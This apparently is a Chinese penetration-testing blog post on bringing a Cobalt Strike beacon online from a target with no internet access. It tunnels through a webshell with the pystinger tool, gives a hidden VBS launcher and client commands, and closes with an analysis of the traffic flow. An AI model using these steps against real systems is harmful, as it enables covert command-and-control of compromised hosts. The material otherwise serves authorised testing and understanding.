不出网机器CS上线
日期: 2021-07-07
作者: Mr-hello
介绍: 在渗透测试过程中会出现目标机器不通外网的情况,本文介绍通过
pystinger
工具实现上线。
0x00 前言
在普通渗透测试过程中,总会遇到一种情况,在该种情况下,系统只是内网服务器做的端口映射,并且该服务器不通外网,这样平常情况无法实现 CS 上线操作。通过 pystinger
工具可以实现上线操作。
0x01 使用方法
假设我们在拿下一台目标主机,但是该主机只是做端口映射,无法连接外网。
使用 pystinger
工具进行 CS 上线,下载地址,通过 webshell
实现内网 SOCK4
代理,端口映射可以使目标不出网情况下在 CS 上线。
首先上传对应版本脚本到目标服务器。
将 stinger_server.exe
上传到目标服务器,在目标机上创建 stinger_server.vbs
文件,示例如下:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c D:\XXXXX\stinger_server.exe 0.0.0.0",vbhide
执行 vbs
脚本,启动服务。
把 stinger_client
上传到 teamserver
服务器,-w 指定 proxy 的 url 地址运行。
chmod +x stinger_client
./stinger_client -w http://x.x.x.x/proxy.php -l 0.0.0.0 -p 60000
CS 新建监听器,设置为目标机器的内网 IP,端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器)
生成木马,上传目标服务器并执行。可看到 CS 有新上线主机。
成功访问内网网段。
这里我只测试了 Windows
版本,有兴趣的可以尝试一下 Linux
版本。
0x02 原理剖析
实验室的一个大佬拍着我的肩膀说,知其然也要知其所以然。所以我开始研究起来它的原理。在成功访问到内网之后,我查看了进程信息以及端口连接信息。经过一个多小时的梳理,我发现存在以下可用端口连接及进程信息。
首先梳理一下。
stinger_server.exe PID 2424
httpd.exe PID 3784
artifact.exe PID 3600
httpd.exe. PID 800
那么在服务器上存在这样一个数据流向,来自 192.168.76.1
(因为我使用 76.1 做代理服务器进行的端口映射) 访问 proxy.php
的流量进入目标主机 80 端口,而后 proxy.php
基于 httpd
服务发起新的连接,数据进入 PID 3784
的进程控制。
在进入 PID 3784
进程后,本机 60793
端口对 60010
端口进行连接,并且 60010
端口开启监听的是 stinger_server.exe
。随后数据被其接收。
最后 stinger_server.exe
使用 60020
端口与 artifact.exe
进行交互。至此目标机端数据流向分析完毕。
继而在自己的 teamserver
服务器上发现以下连接。
发现 teamserver
中上线的主机连接是由 stinger_client
发起的,这么分析的话,stinger_client
是一个桥梁作用,连接 teamserver
和被控主机。下图 39.82.XX.XX:5000
即为我测试过程中使用的 IP,该进程由 stinger_client
发起也就证实了我的猜测。
以上分析完之后,所有的流量走向已经搞明白了。
0x03 结束语
果然大佬说的没错,知其然,知其所以然。路漫漫其修远兮,吾将上下而求索。